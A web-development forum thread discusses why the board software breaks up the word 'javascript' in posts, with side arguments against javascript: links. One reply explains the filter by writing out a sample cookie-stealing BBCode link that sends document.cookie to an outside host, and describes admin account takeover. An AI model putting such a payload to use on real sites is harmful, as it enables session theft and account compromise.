The following was typed in all as one line, with no space in the middle of the word "javascript":
href="javascript:
and here it is surrounded by code tags:
Code:
href="javascript:
Now this is just getting silly! Don't tell me we have to post even the most basic, simple code snippets as file attachments to stop the bulletin code doing silly things with our code?
I agree that the first problem is annoying, but the latter should not be an issue. The javascript: pseudo-protocol should not be used for anything apart from a few (extremely limited) cases such as bookmarklets.
Adam
"If you’re not using valid HTML, then you haven’t created a Web page. You may have created something else, but it isn’t a Web page." - Joe Clark
If I had wanted to know about how and where I should and should not be allowed to use the word "javascript", I would have asked. But I did not want or need to know that. I have been a web developer for many years, and am very comfortable with my coding abilities (as are my clients).
I was trying to fathom why this BB keeps insisting that "javascript" should be made as two separate words for the purposes of some posts, when it is (despite your protests) still legal syntax.
No one said it was illegal syntax. Adam was just making the very valid point that since a large number of users are without Javascript, it should not often be used as the linked resource.
Moving past that, there is nothing one can do, really. Tis the code of Vbulletin and the Admins would face quite a long time of debugging to fix it. Generally, I just try to use attachments whenever possible.
Originally posted by BillyRay If I had wanted to know about how and where I should and should not be allowed to use the word "javascript", I would have asked. But I did not want or need to know that. I have been a web developer for many years, and am very comfortable with my coding abilities (as are my clients).
Now now, temper temper. There's no need use javascript: in the href 99.99% of the time, instead use the onclick event handler, that way you can put something useful in the href for those with JavaScript disabled.
Originally posted by BillyRay I was trying to fathom why this BB keeps insisting that "javascript" should be made as two separate words for the purposes of some posts, when it is (despite your protests) still legal syntax.
The forum separates out java and script because if it didn't then people could use it to create nasty, cookie stealer links to obtain users passwords, eg: [url=javascript:location.href='http://www.quiterude.com?'+document.cookie]
Then the user names and passwords could be stored in a database until an admin got caught out by the link, then the cracker could wreak havok on the forums by banning everyone and posting messages like "I pwn3d J00".
Every fight is a food fight when you’re a cannibal.
Bookmarks